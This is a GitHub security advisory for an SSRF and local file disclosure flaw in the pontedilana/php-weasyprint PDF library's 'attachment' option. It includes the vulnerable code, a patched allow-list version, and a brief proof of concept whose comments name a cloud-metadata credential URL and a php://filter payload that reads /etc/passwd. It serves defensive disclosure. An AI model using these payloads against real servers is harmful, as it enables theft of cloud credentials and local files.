GHSA-X8G9-H984-PC36
Vulnerability from github – Published: 2026-06-26 22:11 – Updated: 2026-06-26 22:11Summary
pontedilana/php-weasyprint fetches the content of option values server-side via file_get_contents() when the value looks like a URL, without restricting the URL scheme. The attachment option of Pdf is the reachable sink: any value that passes isOptionUrl() (filter_var(..., FILTER_VALIDATE_URL)) is downloaded by the PHP process and embedded into the generated PDF. Because FILTER_VALIDATE_URL accepts http, https, ftp, file and PHP stream wrappers such as php://, an attacker who can influence the attachment value reaches both a Server-Side Request Forgery primitive (e.g. internal HTTP endpoints, cloud metadata) and a local file disclosure primitive (file://, php://filter/...), with the fetched bytes exfiltrated as a PDF attachment.
This is the same class of issue KnpLabs/snappy patched for its xsl-style-sheet option in GHSA-c5fp-p67m-gq56. The library is documented as a one-to-one substitute for KnpLabs/snappy and shares the same code shape.
Affected versions
pontedilana/php-weasyprint versions <= 2.5.1.
Patched in: 2.6.0.
Privilege required
Any caller that can influence the attachment option value handed to Pdf::generate() / Pdf::getOutput() / setOption('attachment', ...). Typical reach paths: a value sourced from a request parameter, a per-tenant configuration row, or any user-controllable field that flows into the attachment list.
Vulnerable code
src/Pdf.php — isOptionUrl() accepts any well-formed URL regardless of scheme:
protected function isOptionUrl($option): bool
{
return false !== \filter_var($option, \FILTER_VALIDATE_URL);
}
src/Pdf.php — handleArrayOptions() fetches the URL content for the attachment option:
$fetchUrlContent = 'attachment' === $option && $this->isOptionUrl($item);
if ($saveToTempFile || $fetchUrlContent) {
$fileContent = $fetchUrlContent ? \file_get_contents($item) : $item;
$returnOptions[] = $this->createTemporaryFile($fileContent, $this->optionsWithContentCheck[$option] ?? 'temp');
}
FILTER_VALIDATE_URL returns truthy for http://, https://, ftp://, file://localhost/..., and php://filter/..., so \file_get_contents() is invoked on attacker-chosen schemes with no allow-list.
Proof of concept
<?php
use Pontedilana\PhpWeasyPrint\Pdf;
$pdf = new Pdf('/usr/local/bin/weasyprint');
// Attacker-controlled attachment value (e.g. from a request / tenant config):
// SSRF: http://169.254.169.254/latest/meta-data/iam/security-credentials/
// Local file read: php://filter/convert.base64-encode/resource=/etc/passwd
$attachment = $_GET['doc'];
$pdf->generate('page.html', 'out.pdf', [
'attachment' => $attachment,
]);
// The bytes fetched server-side by file_get_contents() are embedded in out.pdf,
// allowing the attacker to read internal HTTP responses or local files.
Impact
- SSRF: the server fetches arbitrary
http(s)/ftpURLs, reaching internal-only services, link-local metadata endpoints, etc. - Local file / wrapper disclosure:
php://filter/...(and similar) let an attacker read and exfiltrate local file content inside the generated PDF. - Affects any consumer that does not fully control the
attachmentoption value.
Note: passing a plain local path (e.g. /etc/passwd) or a file:// path that resolves to an existing file is handled as a normal local attachment and is not the issue addressed here — that is the documented local-attachment feature (callers must not pass untrusted input to the option). The fix specifically removes the server-side fetch amplification through non-http(s) schemes.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N (6.5, Medium) — adjust PR/S/A to the consuming application's reachability (e.g. PR:N if the attachment value is reachable from an unauthenticated surface).
CWE-918 (Server-Side Request Forgery); secondary CWE-22 (Improper Limitation of a Pathname) for the wrapper-based file read.
Suggested fix
Restrict the schemes the library will fetch to an allow-list (http, https by default), and treat any other scheme as inline content instead of fetching it:
private array $allowedSchemes = ['http', 'https'];
// new optional 4th constructor argument: ?array $allowedSchemes = null
protected function isOptionUrl($option): bool
{
$url = \parse_url((string)$option);
return false !== $url
&& isset($url['scheme'])
&& \in_array(\strtolower($url['scheme']), $this->allowedSchemes, true);
}
A value with a non-allowed scheme (file://, php://, ftp://, ...) is then never passed to file_get_contents().
Credit
Reported upstream to KnpLabs/snappy (GHSA-c5fp-p67m-gq56); identified as applicable to pontedilana/php-weasyprint, which mirrors the same code.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.5.1"
},
"package": {
"ecosystem": "Packagist",
"name": "pontedilana/php-weasyprint"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49359"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T22:11:40Z",
"nvd_published_at": "2026-06-19T18:16:19Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`pontedilana/php-weasyprint` fetches the content of option values server-side via `file_get_contents()` when the value looks like a URL, without restricting the URL scheme. The `attachment` option of `Pdf` is the reachable sink: any value that passes `isOptionUrl()` (`filter_var(..., FILTER_VALIDATE_URL)`) is downloaded by the PHP process and embedded into the generated PDF. Because `FILTER_VALIDATE_URL` accepts `http`, `https`, `ftp`, `file` and PHP stream wrappers such as `php://`, an attacker who can influence the `attachment` value reaches both a **Server-Side Request Forgery** primitive (e.g. internal HTTP endpoints, cloud metadata) and a **local file disclosure** primitive (`file://`, `php://filter/...`), with the fetched bytes exfiltrated as a PDF attachment.\n\nThis is the same class of issue KnpLabs/snappy patched for its `xsl-style-sheet` option in [GHSA-c5fp-p67m-gq56](https://github.com/KnpLabs/snappy/security/advisories/GHSA-c5fp-p67m-gq56). The library is documented as a one-to-one substitute for KnpLabs/snappy and shares the same code shape.\n\n### Affected versions\n\n`pontedilana/php-weasyprint` versions `\u003c= 2.5.1`.\n\nPatched in: `2.6.0`.\n\n### Privilege required\n\nAny caller that can influence the `attachment` option value handed to `Pdf::generate()` / `Pdf::getOutput()` / `setOption(\u0027attachment\u0027, ...)`. Typical reach paths: a value sourced from a request parameter, a per-tenant configuration row, or any user-controllable field that flows into the attachment list.\n\n### Vulnerable code\n\n`src/Pdf.php` \u2014 `isOptionUrl()` accepts any well-formed URL regardless of scheme:\n\n```php\nprotected function isOptionUrl($option): bool\n{\n return false !== \\filter_var($option, \\FILTER_VALIDATE_URL);\n}\n```\n\n`src/Pdf.php` \u2014 `handleArrayOptions()` fetches the URL content for the `attachment` option:\n\n```php\n$fetchUrlContent = \u0027attachment\u0027 === $option \u0026\u0026 $this-\u003eisOptionUrl($item);\nif ($saveToTempFile || $fetchUrlContent) {\n $fileContent = $fetchUrlContent ? \\file_get_contents($item) : $item;\n $returnOptions[] = $this-\u003ecreateTemporaryFile($fileContent, $this-\u003eoptionsWithContentCheck[$option] ?? \u0027temp\u0027);\n}\n```\n\n`FILTER_VALIDATE_URL` returns truthy for `http://`, `https://`, `ftp://`, `file://localhost/...`, and `php://filter/...`, so `\\file_get_contents()` is invoked on attacker-chosen schemes with no allow-list.\n\n### Proof of concept\n\n```php\n\u003c?php\nuse Pontedilana\\PhpWeasyPrint\\Pdf;\n\n$pdf = new Pdf(\u0027/usr/local/bin/weasyprint\u0027);\n\n// Attacker-controlled attachment value (e.g. from a request / tenant config):\n// SSRF: http://169.254.169.254/latest/meta-data/iam/security-credentials/\n// Local file read: php://filter/convert.base64-encode/resource=/etc/passwd\n$attachment = $_GET[\u0027doc\u0027];\n\n$pdf-\u003egenerate(\u0027page.html\u0027, \u0027out.pdf\u0027, [\n \u0027attachment\u0027 =\u003e $attachment,\n]);\n\n// The bytes fetched server-side by file_get_contents() are embedded in out.pdf,\n// allowing the attacker to read internal HTTP responses or local files.\n```\n\n### Impact\n\n- **SSRF**: the server fetches arbitrary `http(s)`/`ftp` URLs, reaching internal-only services, link-local metadata endpoints, etc.\n- **Local file / wrapper disclosure**: `php://filter/...` (and similar) let an attacker read and exfiltrate local file content inside the generated PDF.\n- Affects any consumer that does not fully control the `attachment` option value.\n\nNote: passing a plain local path (e.g. `/etc/passwd`) or a `file://` path that resolves to an existing file is handled as a normal local attachment and is **not** the issue addressed here \u2014 that is the documented local-attachment feature (callers must not pass untrusted input to the option). The fix specifically removes the server-side fetch amplification through non-`http(s)` schemes.\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N (6.5, Medium) \u2014 adjust `PR`/`S`/`A` to the consuming application\u0027s reachability (e.g. `PR:N` if the attachment value is reachable from an unauthenticated surface).\n\nCWE-918 (Server-Side Request Forgery); secondary CWE-22 (Improper Limitation of a Pathname) for the wrapper-based file read.\n\n### Suggested fix\n\nRestrict the schemes the library will fetch to an allow-list (`http`, `https` by default), and treat any other scheme as inline content instead of fetching it:\n\n```php\nprivate array $allowedSchemes = [\u0027http\u0027, \u0027https\u0027];\n\n// new optional 4th constructor argument: ?array $allowedSchemes = null\n\nprotected function isOptionUrl($option): bool\n{\n $url = \\parse_url((string)$option);\n\n return false !== $url\n \u0026\u0026 isset($url[\u0027scheme\u0027])\n \u0026\u0026 \\in_array(\\strtolower($url[\u0027scheme\u0027]), $this-\u003eallowedSchemes, true);\n}\n```\n\nA value with a non-allowed scheme (`file://`, `php://`, `ftp://`, ...) is then never passed to `file_get_contents()`.\n\n### Credit\n\nReported upstream to KnpLabs/snappy ([GHSA-c5fp-p67m-gq56](https://github.com/KnpLabs/snappy/security/advisories/GHSA-c5fp-p67m-gq56)); identified as applicable to `pontedilana/php-weasyprint`, which mirrors the same code.",
"id": "GHSA-x8g9-h984-pc36",
"modified": "2026-06-26T22:11:40Z",
"published": "2026-06-26T22:11:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/security/advisories/GHSA-c5fp-p67m-gq56"
},
{
"type": "WEB",
"url": "https://github.com/pontedilana/php-weasyprint/security/advisories/GHSA-x8g9-h984-pc36"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49359"
},
{
"type": "WEB",
"url": "https://github.com/pontedilana/php-weasyprint/commit/9582dcf119a405276cf55e9e10bc577a887792cb"
},
{
"type": "PACKAGE",
"url": "https://github.com/pontedilana/php-weasyprint"
},
{
"type": "WEB",
"url": "https://github.com/pontedilana/php-weasyprint/releases/tag/2.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PhpWeasyPrint vulnerable to SSRF and local file disclosure via the attachment option"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.